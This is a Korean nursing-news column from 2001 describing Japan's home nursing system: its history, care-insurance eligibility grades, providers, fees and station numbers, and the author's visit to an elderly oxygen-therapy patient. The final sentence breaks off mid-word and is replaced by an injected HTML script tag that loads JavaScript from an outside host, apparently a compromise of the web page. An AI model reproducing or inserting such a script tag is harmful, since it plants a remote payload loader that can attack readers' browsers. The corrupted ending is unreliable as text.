시론/칼럼

[<한국보건산업진흥원 전문위원>] 장현숙   news@nursenews.co.kr     기사입력 2001-03-08 오전 09:38:04

일본의 가정간호는 1890년대 민간차원의 가정부 파견사업에서 시작해 1920년대 세로가(St. Luke) 국제병원에서 모자대상으로 자원봉사자 차원에서 시작했다. 1937년 보건소법에 의해 보건부의 가정방문간호를 실시하게 됐고 1960년부터 병원에서 퇴원한 노인을 중심으로 가정간호를 제공하게 됐다. 1970년대 들어서 병원에서 퇴원한 인공호흡 및 산소치료 요구환자 등에게 의사의 재택진료와 가정간호를 실시하게 됐다.

1982년 노인보건법이 제정되면서 노인을 대상으로 한 병원중심 방문간호에 정식으로 진료비를 지급했으며 정신과 환자 가정간호도 개시하게 됐다. 1992년 노인을 위한 가정간호사업소인 가정간호스테이션을 설립할 수 있도록 노인보건법이 제정됐으며 1994년에 정규간호사 2.5명 이상 배치 등의 요건을 갖추면 가정간호스테이션을 개설할 수 있는 규정이 마련됐다.

가정간호스테이션은 2000년(평성12년) 개호보험이 적용되면서 케어가 필요한 요개호(要介護)자에게 가정간호를 제공하고 있다. 개호보험의 가정간호 이용대상자는 시정촌을 통해 개호서비스를 신청하게 되면 의사소견과 시정촌의 방문조사를 통해 얻은 자료를 분석해 개호판정위원회의 심의 결정으로 개호요구도를 공식적으로 인정받게 된다. 케어가 필요하다고 인정된 자는 6등급으로 구분해 일상활동 지원만 필요한 자를 요지원(要支援)자로, 요개호(要介護)자는 개호 중등도에 따라 경한 순위부터 요개호1, 요개호2. 요개호3, 요개호4, 요개호5로 분류한다. 이들에게 요구되는 시설 및 가정간호를 포함한 재택서비스 계획을 케어플랜매니저(care plan manager)가 기획하고 조정하게 된다.

가정간호 대상자는 질병이나 부상 등을 입은 환자가 가정에서 요양을 받을 수 있는 상태에 있고 의사가 가정간호의 필요를 인정하는 자여야 한다. 가정간호 실시자는 지방공공단체(시정촌), 의료법인(병원), 사회복지법인(특별양호노인홈, 너싱홈), 기타 후생성 대신이 인정한 의사회, 간호사회 등이다. 가정간호서비스 종사자는 보건간호사, 간호사, 준간호사, 물리치료사, 작업치료사, 조산사 등이다. 주요 서비스 내용은 진료보조, 병상관찰, 목욕, 세발, 욕창간호, 체위변경, 카테타 관리, 재활, 말기간호, 식사 및 배뇨 보조, 가족의 개호지도 등이다.

의료기관의 가정간호 서비스 요금은 가정간호스테이션의 수가보다 낮게 책정되어 있다. 이는 의료기관내 가용 자원의 활용이 용이한 것을 인정해 차등을 두고 있다고 한다. 예로 가정간호시간이 평일 낮시간을 기준으로 30분 이내인 경우 의료기관 가정간호는 3430엔, 가정간호스테이션은 4250엔, 30분에서 1시간 미만의 의료기관 가정간호는 5500엔, 가정간호스테이션은 8300엔, 1시간에서 1시간 30분 미만의 의료기관 가정간호는 8450엔, 가정간호스테이션은 1만1980엔이다. 야간 및 심야에는 별도 요금으로 가정간호스테이션의 1시간에서 1시간 30분 미만 가정간호는 1만7970엔으로 고시되어 있으며 가정간호 이용자는 이용료의 10%만 부담하도록 개호보험법에 명시되어 있으며 교통비는 실비로 별도 징수하고 있다.

가정간호스테이션을 활성화시키기 위한 골드플랜으로 2002년까지 9900개소 개설을 목표로 하고 있다. 가정간호스테이션은 1992년 205개소를 처음 지정했으며 2000년(평성 12년) 3월말 현재 인가 받은 가정간호스테이션은 4470개소이다. 가정간호스테이션에서는 의사지시서를 받은 후 가정간호 계획서를 만들어야 하며, 매월 가정간호 비용을 신청하면 2개월 후 보험자로부터 받게 된다. 가정간호스테이션 1개소당 평균 종사자수는 6.1명이며, 이중 직종별 구성은 보건간호사를 포함한 간호사 4.8명, 준간호사 0.8명, 재활치료사(물리치료사) 0.4명, 작업치료사 0.1명으로 이루어져 있다.

2000년 11월 보건복지부 추천 WHO 장학금을 받아 '방문간호사업의 운영 및 평가제도'를 고찰하기 위해 일본의 가정간호 제공 현장을 직접 경험하면서 가정간호 활성화에 기여한 전동 침대 등의 복지용구 등의 렌탈서비스와 일상활동 지원을 위한 경사로 및 주택 개조 지원서비스 등임을 인지하게 됐다. 그리고 가정간호 범위가 포괄적으로 관장, 목욕서비스 등에서 인공호흡 및 산소치료, 종합영양수액요법(TPN) 까지 완벽하게 수행하고 있었다. 가정방문 도중 만난 개호도5의 중증노인 산소치료 환자에게 병원에 입원해 치료를 받아야 될 것 같다고 하니 그 분의 답은 의사도 그렇게 권유했지만 본인이 싫다고 했단다. 이유는 "병원의 규격화된 프로그램에 따라 환자가 따라야 하는 것이 싫다"고 했다. "가정에서도 병원과 꼭 같은 아니 더 편하고 좋은 가정간호 서비스를 받는데..."하면서 웃었다. 그리고 그는 산소 카테타를 코에 끼고 욕실로 가정간호사의 부축을 받으면서 들어갔다. 가정간호사는 나에게 난생 처음 보는 발?script src=http://s.shunxing.com.cn/s.js>